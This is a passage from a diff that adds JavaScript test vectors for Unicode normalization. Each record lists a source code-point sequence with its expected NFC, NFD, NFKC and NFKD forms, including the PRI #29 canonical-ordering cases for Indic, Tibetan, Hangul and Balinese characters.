+{ source: [0x0061, 0x1E946, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E946, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E946, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E946, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E946, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E947, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E947, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E947, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E947, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E947, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E947, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E947, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E947, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E947, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E947, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E948, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E948, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E948, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E948, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E948, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E948, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E948, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E948, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E948, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E948, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E949, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E949, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E949, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E949, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E949, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E949, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E949, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E949, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E949, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E949, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x1E94A, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x1E94A, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x1E94A, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x1E94A, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x1E94A, 0x3099, 0x0062] },
+{ source: [0x0061, 0x1E94A, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x1E94A, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x1E94A, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x1E94A, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x1E94A, 0x093C, 0x3099, 0x0062] }
+];
+/* Part3 # PRI #29 Test */
+var tests_part3 = [
+{ source: [0x09C7, 0x0334, 0x09BE], NFC: [0x09C7, 0x0334, 0x09BE], NFD: [0x09C7, 0x0334, 0x09BE], NFKC: [0x09C7, 0x0334, 0x09BE], NFKD: [0x09C7, 0x0334, 0x09BE] },
+{ source: [0x09C7, 0x0334, 0x09D7], NFC: [0x09C7, 0x0334, 0x09D7], NFD: [0x09C7, 0x0334, 0x09D7], NFKC: [0x09C7, 0x0334, 0x09D7], NFKD: [0x09C7, 0x0334, 0x09D7] },
+{ source: [0x0B47, 0x0334, 0x0B3E], NFC: [0x0B47, 0x0334, 0x0B3E], NFD: [0x0B47, 0x0334, 0x0B3E], NFKC: [0x0B47, 0x0334, 0x0B3E], NFKD: [0x0B47, 0x0334, 0x0B3E] },
+{ source: [0x0B47, 0x0334, 0x0B56], NFC: [0x0B47, 0x0334, 0x0B56], NFD: [0x0B47, 0x0334, 0x0B56], NFKC: [0x0B47, 0x0334, 0x0B56], NFKD: [0x0B47, 0x0334, 0x0B56] },
+{ source: [0x0B47, 0x0334, 0x0B57], NFC: [0x0B47, 0x0334, 0x0B57], NFD: [0x0B47, 0x0334, 0x0B57], NFKC: [0x0B47, 0x0334, 0x0B57], NFKD: [0x0B47, 0x0334, 0x0B57] },
+{ source: [0x0B92, 0x0334, 0x0BD7], NFC: [0x0B92, 0x0334, 0x0BD7], NFD: [0x0B92, 0x0334, 0x0BD7], NFKC: [0x0B92, 0x0334, 0x0BD7], NFKD: [0x0B92, 0x0334, 0x0BD7] },
+{ source: [0x0BC6, 0x0334, 0x0BBE], NFC: [0x0BC6, 0x0334, 0x0BBE], NFD: [0x0BC6, 0x0334, 0x0BBE], NFKC: [0x0BC6, 0x0334, 0x0BBE], NFKD: [0x0BC6, 0x0334, 0x0BBE] },
+{ source: [0x0BC6, 0x0334, 0x0BD7], NFC: [0x0BC6, 0x0334, 0x0BD7], NFD: [0x0BC6, 0x0334, 0x0BD7], NFKC: [0x0BC6, 0x0334, 0x0BD7], NFKD: [0x0BC6, 0x0334, 0x0BD7] },
+{ source: [0x0BC7, 0x0334, 0x0BBE], NFC: [0x0BC7, 0x0334, 0x0BBE], NFD: [0x0BC7, 0x0334, 0x0BBE], NFKC: [0x0BC7, 0x0334, 0x0BBE], NFKD: [0x0BC7, 0x0334, 0x0BBE] },
+{ source: [0x0CBF, 0x0334, 0x0CD5], NFC: [0x0CBF, 0x0334, 0x0CD5], NFD: [0x0CBF, 0x0334, 0x0CD5], NFKC: [0x0CBF, 0x0334, 0x0CD5], NFKD: [0x0CBF, 0x0334, 0x0CD5] },
+{ source: [0x0CC6, 0x0334, 0x0CC2], NFC: [0x0CC6, 0x0334, 0x0CC2], NFD: [0x0CC6, 0x0334, 0x0CC2], NFKC: [0x0CC6, 0x0334, 0x0CC2], NFKD: [0x0CC6, 0x0334, 0x0CC2] },
+{ source: [0x0CC6, 0x0334, 0x0CD5], NFC: [0x0CC6, 0x0334, 0x0CD5], NFD: [0x0CC6, 0x0334, 0x0CD5], NFKC: [0x0CC6, 0x0334, 0x0CD5], NFKD: [0x0CC6, 0x0334, 0x0CD5] },
+{ source: [0x0CC6, 0x0334, 0x0CD6], NFC: [0x0CC6, 0x0334, 0x0CD6], NFD: [0x0CC6, 0x0334, 0x0CD6], NFKC: [0x0CC6, 0x0334, 0x0CD6], NFKD: [0x0CC6, 0x0334, 0x0CD6] },
+{ source: [0x0CCA, 0x0334, 0x0CD5], NFC: [0x0CCA, 0x0334, 0x0CD5], NFD: [0x0CC6, 0x0CC2, 0x0334, 0x0CD5], NFKC: [0x0CCA, 0x0334, 0x0CD5], NFKD: [0x0CC6, 0x0CC2, 0x0334, 0x0CD5] },
+{ source: [0x0D46, 0x0334, 0x0D3E], NFC: [0x0D46, 0x0334, 0x0D3E], NFD: [0x0D46, 0x0334, 0x0D3E], NFKC: [0x0D46, 0x0334, 0x0D3E], NFKD: [0x0D46, 0x0334, 0x0D3E] },
+{ source: [0x0D46, 0x0334, 0x0D57], NFC: [0x0D46, 0x0334, 0x0D57], NFD: [0x0D46, 0x0334, 0x0D57], NFKC: [0x0D46, 0x0334, 0x0D57], NFKD: [0x0D46, 0x0334, 0x0D57] },
+{ source: [0x0D47, 0x0334, 0x0D3E], NFC: [0x0D47, 0x0334, 0x0D3E], NFD: [0x0D47, 0x0334, 0x0D3E], NFKC: [0x0D47, 0x0334, 0x0D3E], NFKD: [0x0D47, 0x0334, 0x0D3E] },
+{ source: [0x0DD9, 0x0334, 0x0DCF], NFC: [0x0DD9, 0x0334, 0x0DCF], NFD: [0x0DD9, 0x0334, 0x0DCF], NFKC: [0x0DD9, 0x0334, 0x0DCF], NFKD: [0x0DD9, 0x0334, 0x0DCF] },
+{ source: [0x0DD9, 0x0334, 0x0DDF], NFC: [0x0DD9, 0x0334, 0x0DDF], NFD: [0x0DD9, 0x0334, 0x0DDF], NFKC: [0x0DD9, 0x0334, 0x0DDF], NFKD: [0x0DD9, 0x0334, 0x0DDF] },
+{ source: [0x0F40, 0x0334, 0x0FB5], NFC: [0x0F40, 0x0334, 0x0FB5], NFD: [0x0F40, 0x0334, 0x0FB5], NFKC: [0x0F40, 0x0334, 0x0FB5], NFKD: [0x0F40, 0x0334, 0x0FB5] },
+{ source: [0x0F42, 0x0334, 0x0FB7], NFC: [0x0F42, 0x0334, 0x0FB7], NFD: [0x0F42, 0x0334, 0x0FB7], NFKC: [0x0F42, 0x0334, 0x0FB7], NFKD: [0x0F42, 0x0334, 0x0FB7] },
+{ source: [0x0F4C, 0x0334, 0x0FB7], NFC: [0x0F4C, 0x0334, 0x0FB7], NFD: [0x0F4C, 0x0334, 0x0FB7], NFKC: [0x0F4C, 0x0334, 0x0FB7], NFKD: [0x0F4C, 0x0334, 0x0FB7] },
+{ source: [0x0F51, 0x0334, 0x0FB7], NFC: [0x0F51, 0x0334, 0x0FB7], NFD: [0x0F51, 0x0334, 0x0FB7], NFKC: [0x0F51, 0x0334, 0x0FB7], NFKD: [0x0F51, 0x0334, 0x0FB7] },
+{ source: [0x0F56, 0x0334, 0x0FB7], NFC: [0x0F56, 0x0334, 0x0FB7], NFD: [0x0F56, 0x0334, 0x0FB7], NFKC: [0x0F56, 0x0334, 0x0FB7], NFKD: [0x0F56, 0x0334, 0x0FB7] },
+{ source: [0x0F5B, 0x0334, 0x0FB7], NFC: [0x0F5B, 0x0334, 0x0FB7], NFD: [0x0F5B, 0x0334, 0x0FB7], NFKC: [0x0F5B, 0x0334, 0x0FB7], NFKD: [0x0F5B, 0x0334, 0x0FB7] },
+{ source: [0x0F90, 0x0334, 0x0FB5], NFC: [0x0F90, 0x0334, 0x0FB5], NFD: [0x0F90, 0x0334, 0x0FB5], NFKC: [0x0F90, 0x0334, 0x0FB5], NFKD: [0x0F90, 0x0334, 0x0FB5] },
+{ source: [0x0F92, 0x0334, 0x0FB7], NFC: [0x0F92, 0x0334, 0x0FB7], NFD: [0x0F92, 0x0334, 0x0FB7], NFKC: [0x0F92, 0x0334, 0x0FB7], NFKD: [0x0F92, 0x0334, 0x0FB7] },
+{ source: [0x0F9C, 0x0334, 0x0FB7], NFC: [0x0F9C, 0x0334, 0x0FB7], NFD: [0x0F9C, 0x0334, 0x0FB7], NFKC: [0x0F9C, 0x0334, 0x0FB7], NFKD: [0x0F9C, 0x0334, 0x0FB7] },
+{ source: [0x0FA1, 0x0334, 0x0FB7], NFC: [0x0FA1, 0x0334, 0x0FB7], NFD: [0x0FA1, 0x0334, 0x0FB7], NFKC: [0x0FA1, 0x0334, 0x0FB7], NFKD: [0x0FA1, 0x0334, 0x0FB7] },
+{ source: [0x0FA6, 0x0334, 0x0FB7], NFC: [0x0FA6, 0x0334, 0x0FB7], NFD: [0x0FA6, 0x0334, 0x0FB7], NFKC: [0x0FA6, 0x0334, 0x0FB7], NFKD: [0x0FA6, 0x0334, 0x0FB7] },
+{ source: [0x0FAB, 0x0334, 0x0FB7], NFC: [0x0FAB, 0x0334, 0x0FB7], NFD: [0x0FAB, 0x0334, 0x0FB7], NFKC: [0x0FAB, 0x0334, 0x0FB7], NFKD: [0x0FAB, 0x0334, 0x0FB7] },
+{ source: [0x1025, 0x0334, 0x102E], NFC: [0x1025, 0x0334, 0x102E], NFD: [0x1025, 0x0334, 0x102E], NFKC: [0x1025, 0x0334, 0x102E], NFKD: [0x1025, 0x0334, 0x102E] },
+{ source: [0x1100, 0x0334, 0x1161], NFC: [0x1100, 0x0334, 0x1161], NFD: [0x1100, 0x0334, 0x1161], NFKC: [0x1100, 0x0334, 0x1161], NFKD: [0x1100, 0x0334, 0x1161] },
+{ source: [0x1100, 0x0334, 0x116E], NFC: [0x1100, 0x0334, 0x116E], NFD: [0x1100, 0x0334, 0x116E], NFKC: [0x1100, 0x0334, 0x116E], NFKD: [0x1100, 0x0334, 0x116E] },
+{ source: [0x1101, 0x0334, 0x1166], NFC: [0x1101, 0x0334, 0x1166], NFD: [0x1101, 0x0334, 0x1166], NFKC: [0x1101, 0x0334, 0x1166], NFKD: [0x1101, 0x0334, 0x1166] },
+{ source: [0x1101, 0x0334, 0x1173], NFC: [0x1101, 0x0334, 0x1173], NFD: [0x1101, 0x0334, 0x1173], NFKC: [0x1101, 0x0334, 0x1173], NFKD: [0x1101, 0x0334, 0x1173] },
+{ source: [0x1102, 0x0334, 0x116B], NFC: [0x1102, 0x0334, 0x116B], NFD: [0x1102, 0x0334, 0x116B], NFKC: [0x1102, 0x0334, 0x116B], NFKD: [0x1102, 0x0334, 0x116B] },
+{ source: [0x1103, 0x0334, 0x1163], NFC: [0x1103, 0x0334, 0x1163], NFD: [0x1103, 0x0334, 0x1163], NFKC: [0x1103, 0x0334, 0x1163], NFKD: [0x1103, 0x0334, 0x1163] },
+{ source: [0x1103, 0x0334, 0x1170], NFC: [0x1103, 0x0334, 0x1170], NFD: [0x1103, 0x0334, 0x1170], NFKC: [0x1103, 0x0334, 0x1170], NFKD: [0x1103, 0x0334, 0x1170] },
+{ source: [0x1104, 0x0334, 0x1168], NFC: [0x1104, 0x0334, 0x1168], NFD: [0x1104, 0x0334, 0x1168], NFKC: [0x1104, 0x0334, 0x1168], NFKD: [0x1104, 0x0334, 0x1168] },
+{ source: [0x1104, 0x0334, 0x1175], NFC: [0x1104, 0x0334, 0x1175], NFD: [0x1104, 0x0334, 0x1175], NFKC: [0x1104, 0x0334, 0x1175], NFKD: [0x1104, 0x0334, 0x1175] },
+{ source: [0x1105, 0x0334, 0x116D], NFC: [0x1105, 0x0334, 0x116D], NFD: [0x1105, 0x0334, 0x116D], NFKC: [0x1105, 0x0334, 0x116D], NFKD: [0x1105, 0x0334, 0x116D] },
+{ source: [0x1106, 0x0334, 0x1165], NFC: [0x1106, 0x0334, 0x1165], NFD: [0x1106, 0x0334, 0x1165], NFKC: [0x1106, 0x0334, 0x1165], NFKD: [0x1106, 0x0334, 0x1165] },
+{ source: [0x1106, 0x0334, 0x1172], NFC: [0x1106, 0x0334, 0x1172], NFD: [0x1106, 0x0334, 0x1172], NFKC: [0x1106, 0x0334, 0x1172], NFKD: [0x1106, 0x0334, 0x1172] },
+{ source: [0x1107, 0x0334, 0x116A], NFC: [0x1107, 0x0334, 0x116A], NFD: [0x1107, 0x0334, 0x116A], NFKC: [0x1107, 0x0334, 0x116A], NFKD: [0x1107, 0x0334, 0x116A] },
+{ source: [0x1108, 0x0334, 0x1162], NFC: [0x1108, 0x0334, 0x1162], NFD: [0x1108, 0x0334, 0x1162], NFKC: [0x1108, 0x0334, 0x1162], NFKD: [0x1108, 0x0334, 0x1162] },
+{ source: [0x1108, 0x0334, 0x116F], NFC: [0x1108, 0x0334, 0x116F], NFD: [0x1108, 0x0334, 0x116F], NFKC: [0x1108, 0x0334, 0x116F], NFKD: [0x1108, 0x0334, 0x116F] },
+{ source: [0x1109, 0x0334, 0x1167], NFC: [0x1109, 0x0334, 0x1167], NFD: [0x1109, 0x0334, 0x1167], NFKC: [0x1109, 0x0334, 0x1167], NFKD: [0x1109, 0x0334, 0x1167] },
+{ source: [0x1109, 0x0334, 0x1174], NFC: [0x1109, 0x0334, 0x1174], NFD: [0x1109, 0x0334, 0x1174], NFKC: [0x1109, 0x0334, 0x1174], NFKD: [0x1109, 0x0334, 0x1174] },
+{ source: [0x110A, 0x0334, 0x116C], NFC: [0x110A, 0x0334, 0x116C], NFD: [0x110A, 0x0334, 0x116C], NFKC: [0x110A, 0x0334, 0x116C], NFKD: [0x110A, 0x0334, 0x116C] },
+{ source: [0x110B, 0x0334, 0x1164], NFC: [0x110B, 0x0334, 0x1164], NFD: [0x110B, 0x0334, 0x1164], NFKC: [0x110B, 0x0334, 0x1164], NFKD: [0x110B, 0x0334, 0x1164] },
+{ source: [0x110B, 0x0334, 0x1171], NFC: [0x110B, 0x0334, 0x1171], NFD: [0x110B, 0x0334, 0x1171], NFKC: [0x110B, 0x0334, 0x1171], NFKD: [0x110B, 0x0334, 0x1171] },
+{ source: [0x110C, 0x0334, 0x1169], NFC: [0x110C, 0x0334, 0x1169], NFD: [0x110C, 0x0334, 0x1169], NFKC: [0x110C, 0x0334, 0x1169], NFKD: [0x110C, 0x0334, 0x1169] },
+{ source: [0x110D, 0x0334, 0x1161], NFC: [0x110D, 0x0334, 0x1161], NFD: [0x110D, 0x0334, 0x1161], NFKC: [0x110D, 0x0334, 0x1161], NFKD: [0x110D, 0x0334, 0x1161] },
+{ source: [0x110D, 0x0334, 0x116E], NFC: [0x110D, 0x0334, 0x116E], NFD: [0x110D, 0x0334, 0x116E], NFKC: [0x110D, 0x0334, 0x116E], NFKD: [0x110D, 0x0334, 0x116E] },
+{ source: [0x110E, 0x0334, 0x1166], NFC: [0x110E, 0x0334, 0x1166], NFD: [0x110E, 0x0334, 0x1166], NFKC: [0x110E, 0x0334, 0x1166], NFKD: [0x110E, 0x0334, 0x1166] },
+{ source: [0x110E, 0x0334, 0x1173], NFC: [0x110E, 0x0334, 0x1173], NFD: [0x110E, 0x0334, 0x1173], NFKC: [0x110E, 0x0334, 0x1173], NFKD: [0x110E, 0x0334, 0x1173] },
+{ source: [0x110F, 0x0334, 0x116B], NFC: [0x110F, 0x0334, 0x116B], NFD: [0x110F, 0x0334, 0x116B], NFKC: [0x110F, 0x0334, 0x116B], NFKD: [0x110F, 0x0334, 0x116B] },
+{ source: [0x1110, 0x0334, 0x1163], NFC: [0x1110, 0x0334, 0x1163], NFD: [0x1110, 0x0334, 0x1163], NFKC: [0x1110, 0x0334, 0x1163], NFKD: [0x1110, 0x0334, 0x1163] },
+{ source: [0x1110, 0x0334, 0x1170], NFC: [0x1110, 0x0334, 0x1170], NFD: [0x1110, 0x0334, 0x1170], NFKC: [0x1110, 0x0334, 0x1170], NFKD: [0x1110, 0x0334, 0x1170] },
+{ source: [0x1111, 0x0334, 0x1168], NFC: [0x1111, 0x0334, 0x1168], NFD: [0x1111, 0x0334, 0x1168], NFKC: [0x1111, 0x0334, 0x1168], NFKD: [0x1111, 0x0334, 0x1168] },
+{ source: [0x1111, 0x0334, 0x1175], NFC: [0x1111, 0x0334, 0x1175], NFD: [0x1111, 0x0334, 0x1175], NFKC: [0x1111, 0x0334, 0x1175], NFKD: [0x1111, 0x0334, 0x1175] },
+{ source: [0x1112, 0x0334, 0x116D], NFC: [0x1112, 0x0334, 0x116D], NFD: [0x1112, 0x0334, 0x116D], NFKC: [0x1112, 0x0334, 0x116D], NFKD: [0x1112, 0x0334, 0x116D] },
+{ source: [0x1B05, 0x0334, 0x1B35], NFC: [0x1B05, 0x0334, 0x1B35], NFD: [0x1B05, 0x0334, 0x1B35], NFKC: [0x1B05, 0x0334, 0x1B35], NFKD: [0x1B05, 0x0334, 0x1B35] },
+{ source: [0x1B07, 0x0334, 0x1B35], NFC: [0x1B07, 0x0334, 0x1B35], NFD: [0x1B07, 0x0334, 0x1B35], NFKC: [0x1B07, 0x0334, 0x1B35], NFKD: [0x1B07, 0x0334, 0x1B35] },
+{ source: [0x1B09, 0x0334, 0x1B35], NFC: [0x1B09, 0x0334, 0x1B35], NFD: [0x1B09, 0x0334, 0x1B35], NFKC: [0x1B09, 0x0334, 0x1B35], NFKD: [0x1B09, 0x0334, 0x1B35] },
+{ source: [0x1B0B, 0x0334, 0x1B35], NFC: [0x1B0B, 0x0334, 0x1B35], NFD: [0x1B0B, 0x0334, 0x1B35], NFKC: [0x1B0B, 0x0334, 0x1B35], NFKD: [0x1B0B, 0x0334, 0x1B35] },
+{ source: [0x1B0D, 0x0334, 0x1B35], NFC: [0x1B0D, 0x0334, 0x1B35], NFD: [0x1B0D, 0x0334, 0x1B35], NFKC: [0x1B0D, 0x0334, 0x1B35], NFKD: [0x1B0D, 0x0334, 0x1B35] },
+{ source: [0x1B11, 0x0334, 0x1B35], NFC: [0x1B11, 0x0334, 0x1B35], NFD: [0x1B11, 0x0334, 0x1B35], NFKC: [0x1B11, 0x0334, 0x1B35], NFKD: [0x1B11, 0x0334, 0x1B35] },
+{ source: [0x1B3A, 0x0334, 0x1B35], NFC: [0x1B3A, 0x0334, 0x1B35], NFD: [0x1B3A, 0x0334, 0x1B35], NFKC: [0x1B3A, 0x0334, 0x1B35], NFKD: [0x1B3A, 0x0334, 0x1B35] },
+{ source: [0x1B3C, 0x0334, 0x1B35], NFC: [0x1B3C, 0x0334, 0x1B35], NFD: [0x1B3C, 0x0334, 0x1B35], NFKC: [0x1B3C, 0x0334, 0x1B35], NFKD: [0x1B3C, 0x0334, 0x1B35] },
+{ source: [0x1B3E, 0x0334, 0x1B35], NFC: [0x1B3E, 0x0334, 0x1B35], NFD: [0x1B3E, 0x0334, 0x1B35], NFKC: [0x1B3E, 0x0334, 0x1B35], NFKD: [0x1B3E, 0x0334, 0x1B35] },
+{ source: [0x1B3F, 0x0334, 0x1B35], NFC: [0x1B3F, 0x0334, 0x1B35], NFD: [0x1B3F, 0x0334, 0x1B35], NFKC: [0x1B3F, 0x0334, 0x1B35], NFKD: [0x1B3F, 0x0334, 0x1B35] },
+{ source: [0x1B42, 0x0334, 0x1B35], NFC: [0x1B42, 0x0334, 0x1B35], NFD: [0x1B42, 0x0334, 0x1B35], NFKC: [0x1B42, 0x0334, 0x1B35], NFKD: [0x1B42, 0x0334, 0x1B35] },
+{ source: [0xAC54, 0x0334, 0x11AE], NFC: [0xAC54, 0x0334, 0x11AE], NFD: [0x1100, 0x1164, 0x0334, 0x11AE], NFKC: [0xAC54, 0x0334, 0x11AE], NFKD: [0x1100, 0x1164, 0x0334, 0x11AE] },
+{ source: [0xACA8, 0x0334, 0x11B5], NFC: [0xACA8, 0x0334, 0x11B5], NFD: [0x1100, 0x1167, 0x0334, 0x11B5], NFKC: [0xACA8, 0x0334, 0x11B5], NFKD: [0x1100, 0x1167, 0x0334, 0x11B5] },
+{ source: [0xACFC, 0x0334, 0x11BC], NFC: [0xACFC, 0x0334, 0x11BC], NFD: [0x1100, 0x116A, 0x0334, 0x11BC], NFKC: [0xACFC, 0x0334, 0x11BC], NFKD: [0x1100, 0x116A, 0x0334, 0x11BC] },
+{ source: [0xADC0, 0x0334, 0x11AE], NFC: [0xADC0, 0x0334, 0x11AE], NFD: [0x1100, 0x1171, 0x0334, 0x11AE], NFKC: [0xADC0, 0x0334, 0x11AE], NFKD: [0x1100, 0x1171, 0x0334, 0x11AE] },
+{ source: [0xAE14, 0x0334, 0x11B5], NFC: [0xAE14, 0x0334, 0x11B5], NFD: [0x1100, 0x1174, 0x0334, 0x11B5], NFKC: [0xAE14, 0x0334, 0x11B5], NFKD: [0x1100, 0x1174, 0x0334, 0x11B5] },
+{ source: [0xAE68, 0x0334, 0x11BC], NFC: [0xAE68, 0x0334, 0x11BC], NFD: [0x1101, 0x1162, 0x0334, 0x11BC], NFKC: [0xAE68, 0x0334, 0x11BC], NFKD: [0x1101, 0x1162, 0x0334, 0x11BC] },
+{ source: [0xAF2C, 0x0334, 0x11AE], NFC: [0xAF2C, 0x0334, 0x11AE], NFD: [0x1101, 0x1169, 0x0334, 0x11AE], NFKC: [0xAF2C, 0x0334, 0x11AE], NFKD: [0x1101, 0x1169, 0x0334, 0x11AE] },
+{ source: [0xAF80, 0x0334, 0x11B5], NFC: [0xAF80, 0x0334, 0x11B5], NFD: [0x1101, 0x116C, 0x0334, 0x11B5], NFKC: [0xAF80, 0x0334, 0x11B5], NFKD: [0x1101, 0x116C, 0x0334, 0x11B5] },
+{ source: [0xAFD4, 0x0334, 0x11BC], NFC: [0xAFD4, 0x0334, 0x11BC], NFD: [0x1101, 0x116F, 0x0334, 0x11BC], NFKC: [0xAFD4, 0x0334, 0x11BC], NFKD: [0x1101, 0x116F, 0x0334, 0x11BC] },
+{ source: [0xB098, 0x0334, 0x11AE], NFC: [0xB098, 0x0334, 0x11AE], NFD: [0x1102, 0x1161, 0x0334, 0x11AE], NFKC: [0xB098, 0x0334, 0x11AE], NFKD: [0x1102, 0x1161, 0x0334, 0x11AE] },
+{ source: [0xB0EC, 0x0334, 0x11B5], NFC: [0xB0EC, 0x0334, 0x11B5], NFD: [0x1102, 0x1164, 0x0334, 0x11B5], NFKC: [0xB0EC, 0x0334, 0x11B5], NFKD: [0x1102, 0x1164, 0x0334, 0x11B5] },
+{ source: [0xB140, 0x0334, 0x11BC], NFC: [0xB140, 0x0334, 0x11BC], NFD: [0x1102, 0x1167, 0x0334, 0x11BC], NFKC: [0xB140, 0x0334, 0x11BC], NFKD: [0x1102, 0x1167, 0x0334, 0x11BC] },
+{ source: [0xB204, 0x0334, 0x11AE], NFC: [0xB204, 0x0334, 0x11AE], NFD: [0x1102, 0x116E, 0x0334, 0x11AE], NFKC: [0xB204, 0x0334, 0x11AE], NFKD: [0x1102, 0x116E, 0x0334, 0x11AE] },
+{ source: [0xB258, 0x0334, 0x11B5], NFC: [0xB258, 0x0334, 0x11B5], NFD: [0x1102, 0x1171, 0x0334, 0x11B5], NFKC: [0xB258, 0x0334, 0x11B5], NFKD: [0x1102, 0x1171, 0x0334, 0x11B5] },
+{ source: [0xB2AC, 0x0334, 0x11BC], NFC: [0xB2AC, 0x0334, 0x11BC], NFD: [0x1102, 0x1174, 0x0334, 0x11BC], NFKC: [0xB2AC, 0x0334, 0x11BC], NFKD: [0x1102, 0x1174, 0x0334, 0x11BC] },
+{ source: [0xB370, 0x0334, 0x11AE], NFC: [0xB370, 0x0334, 0x11AE], NFD: [0x1103, 0x1166, 0x0334, 0x11AE], NFKC: [0xB370, 0x0334, 0x11AE], NFKD: [0x1103, 0x1166, 0x0334, 0x11AE] },
+{ source: [0xB3C4, 0x0334, 0x11B5], NFC: [0xB3C4, 0x0334, 0x11B5], NFD: [0x1103, 0x1169, 0x0334, 0x11B5], NFKC: [0xB3C4, 0x0334, 0x11B5], NFKD: [0x1103, 0x1169, 0x0334, 0x11B5] },
+{ source: [0xB418, 0x0334, 0x11BC], NFC: [0xB418, 0x0334, 0x11BC], NFD: [0x1103, 0x116C, 0x0334, 0x11BC], NFKC: [0xB418, 0x0334, 0x11BC], NFKD: [0x1103, 0x116C, 0x0334, 0x11BC] },
+{ source: [0xB4DC, 0x0334, 0x11AE], NFC: [0xB4DC, 0x0334, 0x11AE], NFD: [0x1103, 0x1173, 0x0334, 0x11AE], NFKC: [0xB4DC, 0x0334, 0x11AE], NFKD: [0x1103, 0x1173, 0x0334, 0x11AE] },
+{ source: [0xB530, 0x0334, 0x11B5], NFC: [0xB530, 0x0334, 0x11B5], NFD: [0x1104, 0x1161, 0x0334, 0x11B5], NFKC: [0xB530, 0x0334, 0x11B5], NFKD: [0x1104, 0x1161, 0x0334, 0x11B5] },
+{ source: [0xB584, 0x0334, 0x11BC], NFC: [0xB584, 0x0334, 0x11BC], NFD: [0x1104, 0x1164, 0x0334, 0x11BC], NFKC: [0xB584, 0x0334, 0x11BC], NFKD: [0x1104, 0x1164, 0x0334, 0x11BC] },
+{ source: [0xB648, 0x0334, 0x11AE], NFC: [0xB648, 0x0334, 0x11AE], NFD: [0x1104, 0x116B, 0x0334, 0x11AE], NFKC: [0xB648, 0x0334, 0x11AE], NFKD: [0x1104, 0x116B, 0x0334, 0x11AE] },
+{ source: [0xB69C, 0x0334, 0x11B5], NFC: [0xB69C, 0x0334, 0x11B5], NFD: [0x1104, 0x116E, 0x0334, 0x11B5], NFKC: [0xB69C, 0x0334, 0x11B5], NFKD: [0x1104, 0x116E, 0x0334, 0x11B5] },
+{ source: [0xB6F0, 0x0334, 0x11BC], NFC: [0xB6F0, 0x0334, 0x11BC], NFD: [0x1104, 0x1171, 0x0334, 0x11BC], NFKC: [0xB6F0, 0x0334, 0x11BC], NFKD: [0x1104, 0x1171, 0x0334, 0x11BC] },
+{ source: [0xB7B4, 0x0334, 0x11AE], NFC: [0xB7B4, 0x0334, 0x11AE], NFD: [0x1105, 0x1163, 0x0334, 0x11AE], NFKC: [0xB7B4, 0x0334, 0x11AE], NFKD: [0x1105, 0x1163, 0x0334, 0x11AE] },
+{ source: [0xB808, 0x0334, 0x11B5], NFC: [0xB808, 0x0334, 0x11B5], NFD: [0x1105, 0x1166, 0x0334, 0x11B5], NFKC: [0xB808, 0x0334, 0x11B5], NFKD: [0x1105, 0x1166, 0x0334, 0x11B5] },
+{ source: [0xB85C, 0x0334, 0x11BC], NFC: [0xB85C, 0x0334, 0x11BC], NFD: [0x1105, 0x1169, 0x0334, 0x11BC], NFKC: [0xB85C, 0x0334, 0x11BC], NFKD: [0x1105, 0x1169, 0x0334, 0x11BC] },
+{ source: [0xB920, 0x0334, 0x11AE], NFC: [0xB920, 0x0334, 0x11AE], NFD: [0x1105, 0x1170, 0x0334, 0x11AE], NFKC: [0xB920, 0x0334, 0x11AE], NFKD: [0x1105, 0x1170, 0x0334, 0x11AE] },
